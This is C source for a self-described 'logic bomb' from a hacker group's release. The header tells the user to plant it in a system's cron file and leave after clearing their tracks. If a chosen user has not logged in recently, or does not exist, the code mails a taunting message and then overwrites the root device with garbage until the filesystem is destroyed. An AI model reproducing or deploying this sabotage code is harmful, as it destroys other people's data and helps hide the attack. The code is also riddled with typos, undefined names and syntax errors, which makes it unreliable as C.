 /*  This is a Technophoria Release Coded by Bronc Buster
 /   ****************************************************
 /      WARNING WARNING WARNING WARNING WARNING WARNING
 /   ****************************************************
 /   This program is EXTREMLY Dangerous if you do not
 /   know what you are doing. This is a Fully functional
 /   Logic Bomb. It has been tested on Linux with the 2.0.1
 /   Kernal with perfect results (Well after it went off we 
 /   had to reinstall because we counldn't use any commands.
 /   To Complie type:
 /
 /                cc -O smlogic.c -o smlogic
 /
 /   This version is ment to be placed into a systems
 /   Cron file and run long after you have exited the
 /   system and cleared your tracks. It also accepts command
 /   line input: smlogic username (or NOHUP smlogin username)
 /   If a Bogus username is entered it will execute in a matter
 /   of Miliseconds, so you don't have much time to get clear.
 /   If NOT entered into a systems Cron file, you must run it as
 /   SUID or as ROOT.
 /
 /   The programmer and Technophoria take NO resonsiblilty for
 /   anything done with this program. It is nearly shown as an
 /   example for educational use only.
 */

 #include <stdio.h>
 #include <sys/types.h>
 #include <sys/stat.h>
 #include <pwd.h>

 /* enter a user name here to check for
 /  by replacing dickhead, or leave in place to crash
 /  on first attempt - user name is otherwise entered
 /  on command line */

 #define  DICK "dickhead"

 
 void crash (dick);

 int main (argc argv)
 char *argv[];

 {
  char buffer[256];
  char *dick;
  long elapsed, now, time();
  struct stat status;
  struct passwd *pwd, *getpwnam();

  FILE *fp, *popen();

  /* check to see if a user name was entered in the
  /  command line */
  if (argc == 2)
    {
    dick = argv[1];
    }
    else dick = DICK;

  /* get current time to check if user has logged in */
  now = time((long *)0);

  /* check to see if user is in the passwd file,
  /  if no user, crash() */
  pwd = getpwnam(dick);
  if (pwd == NULL)
    {
    crash(dick);
    }

  /* create the name of last_login file to check times */
  strcpy(buffer, pwd->pw_dir);
  strcat(buffer, "/.lastlogin");

  /* get time of last login, if none, crash() */
  if (stat(buffer, &status))
    {
    crash(dick);
    }

  /* checks times against each other, if result is <= 2
  /  weeks leave system alone */
  elapsed = now - status.st_mtime;
  if (elapsed <= (60L * 60 * 24 * 2))
    {

  
  exit(0);
 }

 /* Bomb Function */
 int crash (dick)
 {
  FILE *fp, *froot, *fopen();

  /* This is where we keep all the grabage in */
  char buffer[BUFSIZ];

  /* MAIL command - from above - */
  fp = popen(MAIL, "w");
  if (fp == NULL)
    {

  /* prints to error device a messegs if we can't get
  /  Mail to work :(  */
    fprintf(stderr,"Damn The Man!");
    exit(1);
    }

  /* Taunting furtune of upcoming doom */
  fprintf(fp," \tOn bahalf of Technophoria and the user\n");
  fprintf(fp," \tof this program, we would like to thank\n");
  fprintf(fp," \tyou for useing our product - Your system is\n");
  fprintf(fp," \tnow TOASTED!!");
  fpclose(fp);

  /* Time to do the Real Damage -
  /  We are opening the Root Device and are
  /  going to write to it */
  froot = fopen("/dev/root", "w");
  if (froot = NULL)
    {
    fprintf(stderr,"Someone Messed Up! I Can't Crash Crap!");
    exit(-1);
    }

  /* Damage time - We write grabage into the
  /  root device untill ALL the blocks are Full! */
  while(fwrite(buffer, BIFSIZ, 1, froot) != NULL);
  fclose(froot);

  /* Thats that, it's toast! */
  exit (0);
 }

